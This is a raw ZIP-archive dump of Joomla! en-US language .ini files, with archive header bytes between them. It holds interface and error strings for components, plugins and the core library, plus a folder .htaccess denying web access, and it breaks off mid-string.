COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Show a single news feed." COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Single News Feed" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds" PK@y>\o>.language/en-US/en-US.plg_search_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES_CATEGORIES="Categories" PLG_SEARCH_CATEGORIES="Search - Categories" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Enables searching of Category information"PK@y>\)language/en-US/.htaccessnuW+A Order allow,deny Deny from all PK@y>\1tt'language/en-US/en-US.mod_status.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="User Status" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users." MOD_STATUS_LAYOUT_DEFAULT="Default" PK@y>\WEE)language/en-US/en-US.com_redirect.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_REDIRECT="Redirect" COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection"PK@y>\ U''+language/en-US/en-US.plg_finder_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Smart Search - Content" PLG_FINDER_CONTENT_XML_DESCRIPTION="This plugin indexes Joomla! Articles." PLG_FINDER_QUERY_FILTER_BRANCH_S_ARTICLE="Article" PLG_FINDER_QUERY_FILTER_BRANCH_S_AUTHOR="Author" PLG_FINDER_QUERY_FILTER_BRANCH_P_ARTICLE="Articles" PLG_FINDER_QUERY_FILTER_BRANCH_P_AUTHOR="Authors" PK@y>\^F[[0language/en-US/en-US.plg_search_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Search - Weblinks" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Enables searching of Web Links Component" PK@y>\^cZ2language/en-US/en-US.plg_system_languagefilter.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGEFILTER="System - Language Filter" PLG_SYSTEM_LANGUAGEFILTER_XML_DESCRIPTION="This plugin filters the displayed content depending on language.
            This plugin is to be enabled only when the Language Switcher module is published.
            If this plugin is activated, it is suggested to publish the administrator multilanguage status module." PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_DESC="This option will automatically change the content language used in the frontend when a user site language is changed" PLG_SYSTEM_LANGUAGEFILTER_FIELD_AUTOMATIC_CHANGE_LABEL="Automatic Language Change" PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_DESC="Choose Site default language or try to detect the browser settings language. It will default to site language if browser settings can't be found." PLG_SYSTEM_LANGUAGEFILTER_FIELD_DETECT_BROWSER_LABEL="Language Selection for new Visitors." PLG_SYSTEM_LANGUAGEFILTER_BROWSER_SETTINGS="Browser Settings" PLG_SYSTEM_LANGUAGEFILTER_SITE_LANGUAGE="Site Language" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_DESC="This option will allow menu associations when switching from one language to another" PLG_SYSTEM_LANGUAGEFILTER_FIELD_MENU_ASSOCIATIONS_LABEL="Menu associations" PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_DESC="Remove the defined URL Language Code of the Content Language that corresponds to the default site language when Search Engine Friendly URLs is set to 'Yes'." PLG_SYSTEM_LANGUAGEFILTER_FIELD_REMOVE_DEFAULT_PREFIX_LABEL="Remove URL Language Code" PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_DESC="Add alternate meta tags for menu items with associated menu items in other languages." PLG_SYSTEM_LANGUAGEFILTER_FIELD_ALTERNATE_META_LABEL="Add alternate meta tags" PK@y>\f\\0language/en-US/en-US.plg_search_contacts.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Search - Contacts" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Enables searching of the Contact Component"PK@y>\*language/en-US/en-US.plg_system_logout.ininuW+A; @package Joomla ; @subpackage plgSystemLogout ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="The system logout plug-in enables Joomla to redirect the user to the home page if he chooses to logout while he is on a protected access page." PLG_SYSTEM_LOGOUT="System - Logout" PLG_SYSTEM_LOGOUT_REDIRECT="You have been redirected to the home page following logout" PK@y>\l __(language/en-US/en-US.com_banners.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_BANNERS="Banners" COM_BANNERS_BANNERS="Banners" COM_BANNERS_CATEGORY_ADD_TITLE="Category Manager: Add A New Banners Category" COM_BANNERS_CATEGORY_EDIT_TITLE="Category Manager: Edit A Banners Category" COM_BANNERS_CATEGORIES="Categories" COM_BANNERS_CLIENTS="Clients" COM_BANNERS_TRACKS="Tracks" COM_BANNERS_XML_DESCRIPTION="This component manages banners and banner clients"PK@y>\  -language/en-US/en-US.plg_search_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Search - Newsfeeds" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Newsfeeds" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Enables searching of Newsfeeds" PK@y>\8<<3language/en-US/en-US.plg_content_pagenavigation.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGENAVIGATION="Content - Page Navigation" PLG_PAGENAVIGATION_FIELD_POSITION_DESC="The position of the Page Navigation function on the viewed page in relation to the text." PLG_PAGENAVIGATION_FIELD_POSITION_LABEL="Position" PLG_PAGENAVIGATION_FIELD_RELATIVE_DESC="Assigns the relative location for the Position parameter. Text will place it directly above or below the article content. Full article will place it above or below the full display including title and readmore." PLG_PAGENAVIGATION_FIELD_RELATIVE_LABEL="Relative to" PLG_PAGENAVIGATION_FIELD_VALUE_ABOVE="Above" PLG_PAGENAVIGATION_FIELD_VALUE_ARTICLE="Full article" PLG_PAGENAVIGATION_FIELD_VALUE_BELOW="Below" PLG_PAGENAVIGATION_FIELD_VALUE_TEXT="Text" PLG_PAGENAVIGATION_XML_DESCRIPTION="Enables you to add the Next & Previous functionality to an Article." PK@y>\%҉,language/en-US/en-US.plg_system_redirect.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\{f  ,language/en-US/en-US.plg_search_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Search - Weblinks" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_WEBLINKS_WEBLINKS="Weblinks" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Enables searching of Web Links Component"PK@y>\{"language/en-US/en-US.mod_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Login Form" MOD_LOGIN_FIELD_USESECURE_DESC="Submit encrypted login data (requires SSL). Do not enable this option if Joomla is not accessible using the https:// protocol prefix." MOD_LOGIN_FIELD_USESECURE_LABEL="Encrypt Login Form" MOD_LOGIN_LANGUAGE="Language" MOD_LOGIN_LOGIN="Log in" MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It should not be unpublished." PK@y>\mڝ(language/en-US/en-US.mod_toolbar.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Toolbar" MOD_TOOLBAR_XML_DESCRIPTION="This Module shows the toolbar icons used to control actions throughout the administrator area." MOD_TOOLBAR_LAYOUT_DEFAULT="Default" PK@y>\\r'language/en-US/en-US.plg_system_sef.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag." PLG_SYSTEM_SEF="System - SEF"PK@y>\o>PP(language/en-US/en-US.com_modules.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Module Manager" COM_MODULES_XML_DESCRIPTION="Component for module management on the backend." PK@y>\/#language/en-US/en-US.lib_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Access forbidden" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Unable to load application: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new items in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these items." JLIB_APPLICATION_ERROR_BATCH_FAILED="Batch process failed with following error: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Cannot find the destination category for this move." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Cannot find the item being moved." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Check-in failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Item is not checked out" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="The user checking in does not match the user who checked out the item." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Check-out failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="The user checking out does not match the user who checked out the item." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Component not found" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Error loading component: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Create record not permitted" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Delete not permitted" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Edit state is not permitted" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Edit is not permitted" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Edit not permitted" JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Invalid controller class: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Invalid controller: name='%s', format='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Layout %s not found" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_MODULE_LOAD="Error loading module %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Unable to load pathway: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Reorder failed. Error: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Unable to load router: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="Model class %s not found in file" JLIB_APPLICATION_ERROR_SAVE_FAILED="Save failed with the following error: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Save not permitted" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Table %s not supported. File not found." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="Task [%s] not found" JLIB_APPLICATION_ERROR_UNHELD_ID="You are not permitted to use that link to directly access that page (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="View class not found [class, file]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : Your classname contains the substring 'view'. This causes problems when extracting the classname from the name of your objects view. Avoid Object names with the substring 'view'." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="View not found [name, type, prefix]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="Item successfully saved." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="Item successfully submitted." JLIB_APPLICATION_SUCCESS_BATCH="Batch process completed successfully." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="Ordering successfully saved." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="Ordering successfully saved." JLIB_LOGIN_AUTHENTICATE="Username and password do not match or you do not have an account yet." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Unable to load Cache Handler: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Unable to load Cache Storage: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="Captcha plugin not set or not found. Please contact a site administrator" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Bad Username. Server response: %1$s [Expected: 331]. Username sent: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: Bad Password. Server response: %1$s [Expected: 230]. Password sent: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Bad response" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Bad response. Server response: %s [Expected: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Bad response" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Bad response. Server response: %s [Expected: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Bad response" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Bad response" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Bad response" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Bad response. Server response: %1$s [Expected: 350]. From path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Bad response. Server response: %1$s [Expected: 250]. To path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Bad response" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s. Mode sent: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Bad response" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Bad response" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Bad response. Server response: %1$s [Expected: 257]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Bad response" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Bad response. Server response: %1$s [Expected: 350]. Restart point sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Bad response" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Bad response" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Bad response" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: Unable to open local file for writing. Local path: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Bad response" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: Unable to open local file for reading. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: Unable to find local file. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Bad response" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: Unrecognised directory listing format" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: Unable to send command: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: Unable to obtain IP and port for data transfer. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP and port for data transfer not valid. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: Could not connect to host %1$s on port %2$s. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Binary" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Looks like User's credentials are no good..." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Address not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent item is of a lesser state." JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :bind failed. Invalid source argument." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Another article from this category has the same alias" JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Another category with the same parent category has the same alias" JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :check Failed - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :checkIn failed - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :checkOut failed - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Child rows checked out." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s does not support ordering." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Missing field in the database: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Table class %s not found in file." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Left-Right data inconsistency. Cannot delete category." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :delete failed - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Root categories cannot be deleted." JLIB_DATABASE_ERROR_EMAIL_INUSE="This email is already registered." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="The database row is empty." JLIB_DATABASE_ERROR_FUNCTION_FAILED="DB function failed with error number %s
            %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder failed - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree Failed - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode Failed - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId Failed - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit failed - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Invalid location" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Failed - Cannot move the node to be a child of itself" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="Invalid parent ID." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="The language should have a title" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="A content language already exists with this Image Prefix" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="A content language already exists with this Language Tag" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="A content language already exists with this URL Language Code" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s" JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Menu type empty" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Menu type exists: %s" JLIB_DATABASE_ERROR_MENUTYPE="Some menu items or some menu modules related to this menutype are checked out by another user or the default menu item is in this menu" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="The Language parameter for this menu item must be set to 'All'. At least one Default menu item must have Language set to All, even if the site is multilingual." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="At least one menu item has to be set as Default." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Cannot unpublish default home" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="The current home menu for this language is checked out" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="Another menu item with the same parent has this alias" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Another menu item has the same alias in Root. Root is the top level parent" JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="The home menu item must be 